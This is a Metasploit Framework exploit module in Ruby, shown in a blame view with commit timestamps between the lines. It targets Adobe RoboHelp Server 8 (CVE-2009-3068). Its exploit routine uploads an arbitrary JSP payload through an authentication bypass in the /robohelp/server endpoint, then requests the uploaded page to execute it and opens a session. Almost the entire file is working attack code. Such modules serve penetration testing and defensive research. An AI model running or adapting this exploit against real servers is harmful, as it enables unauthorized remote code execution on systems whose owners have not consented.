metasploit-framework/modules/exploits/windows/http/adobe_robohelper_authbypass.rb

100 lines
2.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
'Description' => %q{
This module exploits an authentication bypass vulnerability which
allows remote attackers to upload and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Privileged' => true,
'References' =>
[
[ 'CVE', '2009-3068' ],
[ 'OSVDB', '57896'],
2013-08-30 21:28:54 +00:00
[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
[ 'ZDI', '09-066' ],
2013-08-30 21:28:54 +00:00
],
'Targets' =>
[
[ 'Universal Windows Target',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true,
},
}
],
],
2014-08-31 06:18:53 +00:00
'DefaultOptions' =>
{
'SHELL' => 'cmd.exe'
},
2013-08-30 21:28:54 +00:00
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2009'
))
register_options( [ Opt::RPORT(8080) ])
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
2013-08-30 21:28:54 +00:00
page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
uid = rand(20).to_s
2013-08-30 21:28:54 +00:00
file = "-----------------------------#{uid}\r\n"
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
file << "Content-Type: application/x-java-archive\r\n\r\n"
file << payload.encoded
file << "\r\n"
2013-08-30 21:28:54 +00:00
print_status("Sending our POST request...")
2013-08-30 21:28:54 +00:00
res = send_request_cgi(
{
2014-05-25 17:29:39 +00:00
'uri' => '/robohelp/server',
2013-08-30 21:28:54 +00:00
'version' => '1.1',
'method' => 'POST',
'encode_params' => false,
2013-08-30 21:28:54 +00:00
'data' => file,
2014-05-25 17:29:39 +00:00
'headers' => {
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
'UID' => uid,
},
'vars_get' => {
'PUBLISH' => uid
}
2013-08-30 21:28:54 +00:00
}, 5)
2013-08-30 21:28:54 +00:00
if ( res and res.message =~ /OK/ )
id = res['sessionid'].to_s.strip
2013-08-30 21:28:54 +00:00
print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
data = send_request_raw({
2014-05-25 17:29:39 +00:00
'uri' => normalize_uri('robohelp', 'robo','reserved', 'web', id, page),
2013-08-30 21:28:54 +00:00
'method' => 'GET',
2014-05-25 17:29:39 +00:00
'version' => '1.0'
2013-08-30 21:28:54 +00:00
}, 5)
2013-08-30 21:28:54 +00:00
handler
else
print_error("No SESSIONID acquired...")
return
end
end
end